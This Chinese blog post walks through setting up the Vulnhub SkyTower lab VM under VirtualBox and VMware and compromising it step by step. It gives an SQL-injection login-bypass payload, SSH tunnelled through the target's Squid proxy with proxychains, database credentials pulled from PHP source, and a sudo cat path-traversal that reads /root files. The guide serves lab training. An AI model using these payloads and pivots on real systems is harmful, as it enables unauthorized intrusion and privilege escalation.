当前位置: 首页 > news >正文

VirtualBox+VMware双环境搭建Vulnhub Skytower靶机避坑手册

VirtualBox与VMware双环境实战:Skytower靶机渗透测试全流程解析

最近在安全研究圈子里,Vulnhub的Skytower靶机热度一直不减。这个靶机设计巧妙,融合了Web渗透、端口转发、数据库注入和权限提升等多个经典环节,是检验渗透测试基本功的绝佳选择。不过,很多朋友在实际搭建环境时,常常卡在第一步——虚拟机兼容性问题上。特别是当你手头既有VirtualBox又有VMware,或者需要在不同平台间迁移靶机时,.vbox文件的处理、网络模式的配置,每一步都可能藏着意想不到的“坑”。

这篇文章,我就结合自己多次搭建和渗透Skytower的经验,为你梳理一份从零开始的避坑指南。无论你是刚入门安全的新手,还是需要在不同虚拟化平台间切换的老手,都能在这里找到清晰的路径。我们会从最棘手的虚拟机文件转换讲起,一步步深入到网络配置、信息收集、漏洞利用和权限提升,确保你能在一个稳定、可控的环境里,完整地体验整个渗透流程。

1. 双环境搭建:从.vbox到可运行虚拟机的平滑过渡

Vulnhub上很多靶机,包括Skytower,默认提供的是VirtualBox的.vbox配置文件。如果你习惯使用VMware Workstation或Fusion,直接打开会报错。强行修改扩展名或者用文本编辑器 hack 配置文件,不仅麻烦,还容易导致虚拟机无法启动或设备驱动异常。一个更稳妥、更通用的方法是利用VirtualBox自带的导出功能,将其转换为标准的OVA格式。

1.1 使用VirtualBox完成初始导入与转换

首先,你需要从Vulnhub官网下载Skytower靶机包。下载后,你会得到一个名为SkyTower.7z或类似名称的压缩包,解压后核心文件通常是SkyTower.vbox和对应的虚拟磁盘文件(如.vdi)。

关键步骤:

  1. 安装并启动VirtualBox:确保你安装的是最新稳定版的VirtualBox,旧版本可能在导出时存在兼容性问题。
  2. 注册虚拟机:在VirtualBox主界面,点击“管理” -> “注册”,然后选择你解压目录下的SkyTower.vbox文件。这一步并非“导入”,而是让VirtualBox识别这个已存在的虚拟机配置。
  3. 调整基础设置(可选但推荐):注册成功后,先不要启动。选中Skytower虚拟机,点击“设置”。
    • 系统:检查内存分配,建议至少1GB。确保“启动顺序”中“硬盘”在第一位。
    • 网络:这是后续渗透的关键。务必选择“网络地址转换(NAT)”模式。这是最省心的选择,VirtualBox会为虚拟机分配一个私有IP(如10.0.2.15),并允许虚拟机通过宿主机上网,同时宿主机也能访问虚拟机的服务。我们后续的扫描和攻击都将基于此网络模式展开。
    • 共享粘贴板/拖放:可以设置为“双向”,方便在宿主机和靶机之间复制命令或文本。
  4. 导出为OVA:设置妥当后,保持虚拟机关机状态。再次选中它,点击菜单栏的“管理” -> “导出虚拟电脑”。在导出向导中:
    • 格式选择“开放虚拟化格式2.0”
    • 勾选“将ISO映像作为CD/DVD驱动器包含”,虽然Skytower不一定需要,但这是个好习惯。
    • 选择导出文件的保存路径和名称(例如SkyTower.ova)。

注意:导出过程可能需要几分钟,取决于虚拟磁盘的大小。请确保导出路径有足够的磁盘空间。

1.2 在VMware中导入并优化配置

得到SkyTower.ova文件后,它就成为了一个平台中立的包,可以被VMware、VirtualBox甚至其他支持OVA的虚拟化软件识别。

  1. 在VMware中导入:打开VMware Workstation或Fusion,点击“文件” -> “打开”,选择刚才导出的SkyTower.ova文件。按照导入向导操作即可,通常使用默认设置。
  2. 解决可能的硬件兼容性提示:导入后,VMware可能会提示“此虚拟机可能已被移动或复制”。务必选择“我已复制该虚拟机”,以避免UUID冲突导致网络问题。
  3. 配置VMware网络:这是确保后续步骤顺利的核心。在VMware中,选中Skytower虚拟机,进入“虚拟机设置” -> “网络适配器”。
    • 网络连接模式选择“NAT模式”。这与VirtualBox的NAT模式在理念上类似,虚拟机将位于一个由VMware创建的私有子网中(通常是192.168.xxx.xxx),可以访问外网,宿主机也能直接访问虚拟机的服务。
    • 记录或查看子网信息:在VMware的“编辑” -> “虚拟网络编辑器”中,你可以查看“VMnet8 (NAT模式)”对应的子网地址和掩码。例如,可能是192.168.31.0/24你的Skytower靶机IP将位于这个网段内

VirtualBox NAT 与 VMware NAT 网络参数对比

特性VirtualBox (NAT模式)VMware (NAT模式 - VMnet8)
默认网关10.0.2.2通常是192.168.xx.2
DNS服务器10.0.2.3与网关相同,或由宿主机提供
靶机典型IP段10.0.2.15 (可变化)192.168.xx.xxx (在虚拟网络编辑器中定义)
宿主机访问靶机支持 (通过端口转发或直接访问IP)支持 (直接访问靶机IP)
配置复杂度简单,开箱即用简单,但需知晓子网范围

完成以上步骤后,无论你使用VirtualBox还是VMware,都应该能成功启动Skytower靶机。启动后,你会看到一个登录界面,这通常意味着系统已正常运行。现在,我们暂时不要操作靶机本身,而是切换到攻击者视角。

2. 信息收集与侦查:定位目标与发现入口

渗透测试的第一步永远是信息收集。在虚拟机环境里,我们首先需要找到靶机的IP地址。由于我们使用了NAT网络模式,靶机和我们的攻击机(通常是Kali Linux虚拟机或宿主机本身)处于同一个虚拟的局域网内。

2.1 使用Nmap进行网络发现

假设你的攻击机是Kali Linux,并且其网络也设置为与靶机相同的NAT网络(在VirtualBox或VMware中设置即可)。首先,我们需要发现靶机的IP。

打开Kali Linux的终端,使用ifconfigip addr命令查看自己的IP地址,从而确定所在的网段。例如,你的Kali IP是192.168.31.128,那么网段就是192.168.31.0/24

接下来,使用Nmap进行存活主机扫描:

sudo nmap -sn 192.168.31.0/24
  • -sn参数表示只进行Ping扫描(主机发现),不扫描端口。
  • 这个命令会列出该网段内所有在线的主机。从结果中,排除掉你已知的IP(如你的Kali、网关),剩下的那个很可能就是Skytower靶机。假设我们发现了192.168.31.137

提示:如果-sn扫描没有发现靶机,可能是因为靶机禁用了ICMP回应。可以尝试使用-Pn参数(跳过主机发现,直接进行端口扫描)对疑似IP进行扫描。

2.2 全面扫描端口与服务

确定靶机IP后,下一步是进行详细的端口扫描,了解靶机开放了哪些服务,这是寻找攻击入口的关键。

sudo nmap -sV -sC -p- 192.168.31.137 -oA skytower_scan
  • -sV:探测服务版本。
  • -sC:使用默认的Nmap脚本进行扫描,能发现一些常见漏洞和信息。
  • -p-:扫描所有65535个端口(全端口扫描)。如果时间紧张,可以先扫描常用端口-p 1-1000
  • -oA skytower_scan:将扫描结果以三种格式(普通、XML、Grepable)输出到文件,便于后续分析。

典型的扫描结果分析:

执行上述命令后,你可能会得到类似下面的结果摘要:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 3128/tcp open http-proxy Squid http proxy 4.10

这个结果告诉我们:

  1. 80端口:运行着Web服务器(Apache),这是最直观的入口。
  2. 22端口:运行着SSH服务,是潜在的远程管理或爆破入口。
  3. 3128端口:运行着Squid代理服务器。这个端口非常关键,它可能暗示着网络访问存在某种限制或需要特殊通道。

3. Web渗透与SQL注入突破

根据端口扫描结果,我们首先从80端口的Web服务入手。

3.1 初步侦察与漏洞探测

在浏览器中访问http://192.168.31.137,你会看到一个登录页面。尝试一些常见的弱口令(admin/admin, admin/password等)通常不会成功。此时,一个合理的怀疑是登录框存在SQL注入漏洞。

我们可以使用工具(如Burp Suite、sqlmap)进行自动化测试,但手动测试更能理解原理。观察登录表单,它可能提交emailpassword两个参数到后台进行数据库查询。

手动SQL注入测试思路:

后台的SQL查询语句可能类似于:

SELECT * FROM users WHERE email = '$email' AND password = '$password'

我们的目标是通过构造特殊的输入,改变这个查询的逻辑,使其绕过密码验证。

一个经典的Payload是在密码字段输入:' OR '1'='1。但根据原始提示,Skytower靶机使用的Payload略有不同:1111'|| 1=1 #

让我们拆解这个Payload:

  • 1111:一个任意字符串,用于闭合原查询中密码字段的引号。
  • ':闭合密码字段的引号。
  • ||:在MySQL中代表逻辑“或”(OR)。
  • 1=1:一个永真条件。
  • #--:注释掉后续的SQL语句,使得后面的AND条件失效。

因此,注入后的查询可能变成:

SELECT * FROM users WHERE email = '任意邮箱' AND password = '1111'|| 1=1 #'

等价于:

SELECT * FROM users WHERE email = '任意邮箱' AND (password = '1111' OR TRUE)

由于OR TRUE,整个WHERE条件恒为真,只要邮箱存在,就能成功登录。

实际操作:在登录页面的邮箱栏输入任意邮箱(如test@test.com),在密码栏输入1111'|| 1=1 #,点击登录。如果成功,页面可能会跳转,并显示一些信息,例如“Login Success”以及一个用于SSH连接的账户名和密码(例如john/hereisjohn)。

3.2 遭遇SSH访问限制与代理绕行

拿到SSH凭据(john/hereisjohn)后,我们自然想尝试连接:

ssh john@192.168.31.137

但很可能会收到“Connection refused”或长时间超时的错误。回顾我们的Nmap扫描结果,22端口是开放的,为什么连不上?

这里就体现了3128端口(Squid代理)的作用。靶机可能通过防火墙或应用配置,只允许来自本地(127.0.0.1)或通过特定代理(3128端口)的SSH连接。直接对外部IP的22端口连接被阻止了。

因此,我们需要配置我们的攻击机,使其SSH流量通过靶机的3128端口(Squid代理)发出。在Linux下,一个常用的工具是proxychains

  1. 安装proxychains(Kali通常已预装):
    sudo apt update && sudo apt install proxychains4 -y
  2. 配置proxychains:编辑其配置文件。
    sudo vim /etc/proxychains4.conf
    在文件末尾的[ProxyList]部分,添加一行,指定使用靶机的Squid代理:
    http 192.168.31.137 3128
    • http表示代理类型(Squid支持HTTP/HTTPS代理)。
    • 192.168.31.137是靶机IP。
    • 3128是代理端口。
  3. 通过代理发起SSH连接
    proxychains ssh john@192.168.31.137
    或者,如果你想在连接后直接获得一个shell,可以使用:
    proxychains ssh john@192.168.31.137 -t "/bin/sh"
    输入密码hereisjohn后,你应该能成功获得一个低权限的shell。

注意:使用proxychains后,你的所有网络流量(默认)都会经过配置的代理。如果只想让SSH走代理,可以使用ssh -o ProxyCommand='nc -X connect -x 192.168.31.137:3128 %h %p' john@192.168.31.137这种更精确的方式。

4. 权限提升:从普通用户到Root

成功以john用户登录后,我们进入了靶机内部。下一步是进行权限提升,目标是获取root权限。

4.1 内部信息收集与sudo权限检查

首先,进行常规的信息收集:

# 查看当前用户是谁,以及主机名 whoami && hostname # 查看当前用户可以无密码执行的sudo命令 sudo -l

执行sudo -l后,系统会提示输入当前用户 (john) 的密码。输入hereisjohn后,可能会发现john不在sudoers文件中,或者没有任何可以免密执行的命令。这说明直接通过sudo提权的路径可能被阻断。

4.2 利用Web漏洞获取数据库凭证

还记得我们是通过Web的SQL注入登录的吗?那个登录逻辑很可能就在/var/www/html/目录下的某个PHP文件中。我们可以去查看源代码,寻找更多信息。

# 切换到Web根目录 cd /var/www/html # 查看文件列表 ls -la # 查看登录逻辑文件,例如 login.php cat login.php

login.php中,你可能会发现连接数据库的代码,其中包含数据库用户名、密码和数据库名。例如:

$conn = new mysqli("localhost", "root", "rootpassword", "SkyTech");

这给了我们宝贵的数据库凭证:用户root,密码rootpassword,数据库SkyTech

4.3 数据库探查与凭证挖掘

现在,我们可以尝试连接MySQL数据库,看看里面有什么。

# 连接MySQL数据库 mysql -u root -p

输入从PHP文件中找到的密码(如rootpassword)。连接成功后,查看数据库和表:

-- 列出所有数据库 show databases; -- 使用 SkyTech 数据库 use SkyTech; -- 列出所有表 show tables; -- 假设有一个名为 `login` 的表,查看其内容 select * from login;

login表中,你可能会发现更多用户的邮箱和密码哈希(或明文密码)。例如,可能有一个用户sara及其密码。这些凭证可能用于SSH登录或其他服务。

4.4 切换用户与路径遍历提权

使用从数据库中找到的sara用户的密码,尝试切换用户:

su - sara

输入sara的密码。成功后,再次检查sudo权限:

sudo -l

这次,你可能会看到不同的结果。例如,系统可能显示sara用户可以以root身份运行/bin/cat命令,但仅限于/accounts/目录下的文件。

利用路径遍历漏洞:

sudo配置可能看起来像这样:

User sara may run the following commands on skytower: (root) /bin/cat /accounts/*

这限制了sara只能用cat查看/accounts/目录里的文件。但这里存在一个经典的路径遍历漏洞*通配符在sudo规则中展开,但我们可以利用../跳出限制目录。

目标是读取/root目录下的标志文件flag.txt

sudo cat /accounts/../root/flag.txt
  • /accounts/:这是规则允许的路径起点。
  • ../:向上跳一级目录(到根目录/)。
  • root/flag.txt:进入/root目录并读取flag.txt

如果命令成功执行,你将看到flag.txt的内容,其中很可能就包含root用户的密码!

4.5 最终提权

拿到root密码后,最后的提权就水到渠成了:

# 切换到root用户 su -

输入从flag.txt中获取的root密码。成功后,命令提示符会变成#,表示你已经获得了系统的最高权限。可以运行whoami确认是root,并查看/root目录下的最终标志文件,完成整个靶机的挑战。

整个Skytower靶机的渗透流程,从环境搭建的兼容性处理,到网络侦查、Web注入、代理绕行、内部信息收集、数据库利用,再到最后的sudo路径遍历提权,串联起了一个非常经典的内部网络渗透测试场景。每个环节的突破都依赖于对基础知识的扎实理解和灵活运用。多在不同的虚拟化环境下练习几次,你不仅能熟悉工具,更能深刻理解攻击链的每一个环节是如何衔接的。

http://www.jsqmd.com/news/463358/

相关文章:

  • 2026年AI数据分析品牌实力排行榜 - 十大品牌榜
  • 极简致美,笃行致远——2026化妆品及保健品包装设计美学实践
  • 5G核心网与VLAN融合:大型连锁酒店网络架构设计与安全实践
  • VR多平台开发实战:如何用SteamVR2.0和Unity新输入系统统一处理VR输入
  • 本科十大机构真实力:留学申请更有底气 - 博客湾
  • 大连老房装修公司推荐|避坑不踩雷,老房焕新直接抄作业 - 品牌测评鉴赏家
  • 大连中档装修推荐哪家公司?2026实测3家,刚需/改善党直接抄作业 - 品牌测评鉴赏家
  • 大连小户型装修公司哪家好?2026实测不踩坑,刚需党闭眼抄作业 - 品牌测评鉴赏家
  • 2026年广东广州手绘唐卡厂家实力排行榜 - 十大品牌榜
  • 在Docker容器中部署Ubuntu并通过MCSM快速搭建我的世界服务器(OpenWrt环境)
  • 保姆级教程:Qwen-Image-2512像素艺术LoRA快速上手,游戏素材秒生成
  • 大连客厅装修大揭秘:这几家公司凭什么脱颖而出? - 品牌测评鉴赏家
  • 万亿级消息队列的演进:如何在Kafka/Pulsar架构下实现Exactly-Once投递与零丢失?
  • BGP路由优选深度解析:从华为设备看Direct/OSPF/Static/BGP的优先级实战
  • 港申不再迷茫:香港留学中介助你高效突围 - 博客湾
  • 新手必看:5分钟快速上手msfconsole基础命令(附实战案例)
  • UniApp获取WiFi列表的常见坑点及解决方案(2024最新版)
  • 如何在0.1%的采样率下精准捕捉“长尾延迟”与系统瓶颈?
  • 零信任组网对比:天翼云AccessOne与Cloudflare Zero Trust的5个关键差异点
  • Mac环境下使用checkra1n越狱iPhone 7 Plus的保姆级教程(含避坑指南)
  • FFmpeg实战:如何用一条命令搞定FLV转MP4(附常见问题排查)
  • OpenClaw 安装后 command not found:5 种场景逐一修复
  • 从零开始掌握机器视觉:系统学习路径与实践指南
  • 2026年智能问数品牌实力排行榜:基于AI技术、产品性能、服务体系与市场口碑的五大权威推荐榜单 - 十大品牌榜
  • SNPP/VIIRS 数据在洪水监测中的应用与下载指南
  • VS Code 通义灵码实战指南:从安装到高效编码
  • Flask项目host设置全攻略:从127.0.0.1到0.0.0.0的深度解析与实战避坑
  • Mapbox GL JS 坐标系实战:从数据源到地图渲染的坐标转换全解析
  • 蚁剑+kali渗透测试组合拳:如何用反连平台绕过防火墙检测?
  • Caddy+Vue3静态站点终极配置指南:从404错误到完美路由的5个关键步骤